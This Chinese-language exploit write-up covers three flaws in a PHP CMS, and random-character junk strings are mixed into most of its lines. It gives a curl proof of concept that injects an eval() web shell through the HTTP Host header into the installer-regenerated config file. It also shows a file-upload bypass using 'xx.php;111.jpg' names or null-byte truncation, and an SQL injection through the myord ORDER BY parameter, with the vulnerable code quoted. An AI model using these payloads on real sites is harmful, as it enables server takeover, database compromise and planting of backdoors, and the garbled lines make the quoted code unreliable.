注入:, }9 m. e: k- o
% I3 j( M$ g7 L8 |" ]
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
$ c0 b: e2 Y' \
; K$ B8 z5 a5 x% i3 s鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件! n( f9 N1 _2 h( G2 x& ~1 o$ L: L$ a8 M
鸡肋2: 有一定安全常识的站长都会删掉 install 目录+ E2 U4 N! E' n% `6 |! `
/ ^* U/ y* B' ^7 j虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
3 C4 a' W0 u8 W& m: v, x
& Q6 i4 p* \8 J分析:* k' u2 H: H' Y/ A; }$ G* E7 I) I
1 p/ g: V0 Y, J7 x* m |' L
4 l9 G1 b/ X) A
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
+ a! ~" f% h& p1 \) U$ B t- R 7 U, Y6 ?0 F# b/ E* g( j! S
$filestr = fread(fopen($SysConfigFile, 'r'),30000);) e x6 ^0 }$ M, H% P) }' X
$filestr=str_replace(" ","",$filestr);
$ I1 G7 \/ @+ p0 O1 p h% p $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);6 G* {( a6 u+ B7 {8 c
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
9 a3 u: R/ X, Q6 x5 R $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ a8 i, f# _4 v o% [) u $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);; @7 c2 k) Y' L, i# f+ A
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
" ?6 @2 [' R$ F* }( u6 J7 H5 C4 n $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);) E: C- w) P. v) S C
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);3 p; M/ D) z5 H1 X/ e
) y: |) S% u5 U
fwrite(fopen($ConFile,"w"),$filestr,30000);: m( J7 m" v& \! q
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 F: o& J1 k6 L5 s2 I6 a$ c; [$ q
5 S6 ~6 Q- C8 M6 V( w6 o/ apoc:( p/ ?8 \; d1 [0 h
/ f" I+ r) q6 e4 o
?
4 g G* y8 K9 Y. n9 m4 `2 ?' H8 [17 E; }) t( l* s4 _
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#". Q" T6 O$ v/ H, n& r' ?! t' O
shell地址: /config.inc.php: b( N% X& q! ^5 c
跟之前的 phpcms一样 需要远程数据库# w- Z0 `: b( A7 _
+ l9 e! _8 K) a8 x——————————————————–
- P' U( _. ^- Q8 q7 _上传漏洞(需要进后台):0 n5 N# _1 \) ^* p, K
漏洞文件: /kedit/upload_cgi/upload.php
5 H$ R, g" U& r* ?这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用+ F1 |4 X/ u+ f4 e* I8 @0 A+ C
) j) _6 \7 j) j2 O
7 V1 A# u6 L# Z5 X8 H" ?9 n<?php
% _* a# J& H, b1 L define("ROOTPATH", "../../");0 ^) @) A2 d; Q3 n
include(ROOTPATH."includes/admin.inc.php");
! h2 J0 R0 e$ D7 p; u% \! v( U9 b+ z, I NeedAuth(0);
- @9 K. A, ^& F1 `: V ' m, }' j: w9 ^4 D
$dt=date("Ymd",time());7 W" o- B3 W/ M1 [ z) ]
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){0 ]& j" {) Y( _
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777); m; m& \9 i3 C3 g3 o' v
}% w5 N2 Y9 ?+ n* h- p
0 K M1 C5 i8 ]& _! K" ^ //文件保存目录路径2 I9 W- V9 |: P7 _+ b
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
- L8 i0 L1 Y$ @' X9 G! D echo $save_path;7 N1 S" O7 k3 I: i$ K& [3 q4 I
//文件保存目录URL
# [3 Q, Z# U t/ d3 }2 u $save_url = '../../'.$_POST['attachPath'].$dt.'/';, ^! H, V% S: ?( w; m
. X$ m7 f: X$ G0 N/ u4 ^
//定义允许上传的文件扩展名
8 D# k& U% o% ~6 ~; ^ $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
+ `2 G* a5 C5 y$ } + F, p4 c8 P: t' R; o
//最大文件大小! K5 s+ o9 G. v9 X( e" s+ q! n
$max_size = 1000000;
) F& z0 Q) U$ @0 { % G( _3 r3 Y1 D X5 \' _
//更改目录权限
9 L9 D, s6 r y* j( J @mkdir($save_path, 0777); B5 Z' ? t( i @
! S2 i }" E G' G0 r6 A4 m
//文件的全部路径$ v8 c' [+ p: d; W
$file_path = $save_path.$_POST['fileName']; //保存文件名2 U0 E: \' v5 G6 y( @& H
) k2 F m7 J- P3 T
//文件URL' w3 U0 n( f* q- N$ e5 G
$file_url = $save_url.$_POST['fileName'];
2 e/ J9 q# r) q2 E) @$ t//有上传文件时5 M! X {7 i% V' @ l
if (empty($_FILES) === false) {$ Z% ?6 q# v" A7 T( K
8 z0 c2 [( N2 Q" H. t //原文件名! P3 d! A \, H& w
$file_name = $_FILES['fileData']['name'];' h0 `3 [) T/ N
//服务器上临时文件名
( B* P9 N: J6 l& R $tmp_name = $_FILES['fileData']['tmp_name'];+ ^0 P' H" [0 c0 j. h# x0 i
//文件大小( M% Q+ K6 e9 e, [1 k6 ?
$file_size = $_FILES['fileData']['size'];% Z- t9 k. W1 h; G* q
//检查目录" d! S5 K" \+ m0 ?) [$ z5 m
if (@is_dir($save_path) === false) {
8 u1 {7 w4 W3 w1 d; ]6 ]2 y# g alert("上传目录不存在。");
# j- ?- ~& S @ B+ M; [ }
" M/ ]$ d; B g3 U9 t6 A5 g( { //检查目录写权限0 k1 T; g A @ |: a9 N
if (@is_writable($save_path) === false) {3 v3 l& C3 F5 S3 A V$ ^; I# s5 [
alert("上传目录没有写权限。");* d& t1 l. S; ^; m5 w
}0 G2 A5 N) x1 G- a: A
//检查是否已上传
' m, {5 ]3 G: V$ D ~( `" a if (@is_uploaded_file($tmp_name) === false) {
8 q" u4 X4 W# J3 n; l L2 O0 H alert("临时文件可能不是上传文件。");/ @9 t9 T0 D. \ @# u$ C
}
2 b. T, s' Y1 u, e3 g //检查文件大小- j* d2 p" l' E, ]: d' }9 C
if ($file_size > $max_size) {
, M1 G X! l1 x& P alert("上传文件大小超过限制。");
; D' J2 D& L4 x5 Z } |( f# \% l; n! P% w) f
//获得文件扩展名
, j$ Q, _4 S; u: z. M9 y$ _ $temp_arr = explode(".", $_POST['fileName']);. z. y) V1 ` `. ] w2 Z
$file_ext = array_pop($temp_arr);
( ~! D* m* `: [5 k3 } $file_ext = trim($file_ext);1 ~* D/ U( U7 x* w# d3 A
$file_ext = strtolower($file_ext);' m* _! ^) ~0 M9 n8 X
- ?4 }( z+ I; @& E' q1 U //检查扩展名
0 w) S% e w% l8 ~ if (in_array($file_ext, $ext_arr) === false) {
( m. ? Q% j: x alert("上传文件扩展名是不允许的扩展名。");2 D% @' N* x8 m
}
. v2 h/ f) g; D4 ^: S/ i3 ]* y9 D 1 L5 @2 v Q3 b( T8 T. x9 g
//移动文件
) h4 z" [5 W9 p. ?+ d1 Z //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^9 t# r r2 j+ \* i4 ?7 E7 Z* \
if (move_uploaded_file($tmp_name, $file_path) === false) {
5 ^. @* g- Y* ~4 o alert("上传文件失败。");
- T' D: L( y& L% o. ^4 F5 C' z8 r }1 s# ?1 r3 C2 h0 G
7 b1 v. ]/ d4 e2 C0 V
@chmod($file_path,0666);
3 s& t" b2 ^6 O9 Y
\' E3 ~% I) b) \) @5 l& g% \1 H ?>
; B7 E6 x$ @( Z- h抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227. J/ J9 w% T g9 J; G4 V
7 o4 Z/ d0 [* c+ s$ k) N3 @7 y
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
' u4 l# b: J# _" f" _
1 M: _1 ]# L' i6 |# e3 z2 W( _——————————————————0 g5 v: ~* w6 I4 v" f2 r! R# f
注入漏洞:
* Q, P- S q/ L6 \7 z5 |漏洞文件:search/module/search.php" i/ V5 S ^( |& s& g8 R/ F: `
/search/index.php?key=1&myord=1 [sqlinjection]; h! K/ r9 M; }3 r/ g4 \
5 {1 j; ^0 T3 ~" z& e- a
9 ?% \4 [ G& T4 B& c
<?php/ F! g: @9 a4 m4 G9 X) B
// ... 省略 n 行...! k5 n) P/ u6 Z+ ]
//第18行:- T$ `/ Y( m5 I7 i
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响2 J" E: B5 h3 K. p6 p
$page=htmlspecialchars($_GET["page"]);3 ^" p; X9 k4 b1 K: @
$myord=htmlspecialchars($_GET["myord"]);6 [" M6 A" V) ^
$ V% r* \/ m2 P5 U
// ... 省略 n 行...
) w! M% I" x0 T $key,$myord 两个参数带入查询3 H+ W; ]0 a/ w4 X
//第47行 $key:
* p4 r9 F3 U0 r- w! E+ i " | \5 W, }3 H
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
9 ]. q" p' v& q8 N1 w
& ]" }! m- C, m" l0 W& ^! L //第197行 $myord
0 j% k8 U8 |; u: w4 j) d* v) Q1 A $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
* W3 k4 i" ]5 D' D! }% ?! b
) d" b& Y W, [; t- a ?>2 l: E4 P( ~& O( Q& ~) o6 a
|